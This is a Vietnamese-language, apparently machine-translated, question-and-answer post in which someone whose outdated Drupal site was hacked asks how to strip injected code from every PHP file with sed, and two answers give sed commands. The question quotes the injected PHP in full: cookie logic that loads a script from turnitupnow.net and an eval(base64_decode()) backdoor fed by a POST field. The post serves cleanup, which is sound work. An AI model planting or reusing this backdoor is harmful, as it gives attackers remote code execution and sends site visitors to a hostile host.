sed, thay thế dòng đầu tiên

Question

tôi đã bị hack bằng cách chạy cài đặt Drupal thực sự đã lỗi thời (xấu hổ về tôi)

Có vẻ như họ tiêm sau trong mỗi .php tập tin;

<?php global $sessdt_o; if(!$sessdt_o) { 
    $sessdt_o = 1; $sessdt_k = "lb11"; 
    if(!@$_COOKIE[$sessdt_k]) { 
    $sessdt_f = "102"; 
    if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
    else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
    } 
    else { 
    if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
    if(!@headers_sent()) { 
     @setcookie($sessdt_k,$sessdt_f); } 
    else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
    sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; 
    $sessdt_v = urlencode(strrev($sessdt_j)); 
    $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
    echo "<script src='$sessdt_u'></script>"; 
    echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
    } 
    $sessdt_p = "showimg"; 
    if(isset($_POST[$sessdt_p])){ 
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 
    exit; 
    } 
    } 

Tôi có thể tháo và thay thế điều này bằng sed? ví dụ:

find . -name *.php | xargs ... 

Tôi hy vọng sẽ có trang web hoạt động chỉ trong thời gian sử dụng wget và tạo bản sao tĩnh.

Answer 1

Bạn có thể sử dụng sed với một cái gì đó giống như

sed '1 s/^.*$/<?php/' 

Phần 1 chỉ thay thế dòng đầu tiên. Sau đó, nhờ vào lệnh s, nó thay thế toàn bộ dòng bằng <?php.

Để sửa đổi tệp của bạn tại chỗ, hãy sử dụng tùy chọn -i của GNU sed.

Answer 2

Để thay thế dòng đầu tiên của một tập tin, bạn có thể sử dụng c (ví "thay đổi") lệnh của sed:

sed '1c<?php' 

mà dịch để: "trên dòng 1, thay thế các không gian mô hình với <?php ".

Đối với vấn đề cụ thể này, tuy nhiên, một cái gì đó như thế này có lẽ sẽ làm việc:

sed '1,/^$/c<?php' 

mà đọc: thay đổi phạm vi "dòng 1 đến dòng trống đầu tiên" để <?php, do đó thay thế tất cả các mã tiêm.

(Phần thứ hai của địa chỉ (các biểu thức chính quy /^$/) nên được thay thế bằng một biểu thức mà thực sự sẽ phân định mã tiêm, nếu nó không phải là một dòng trống.)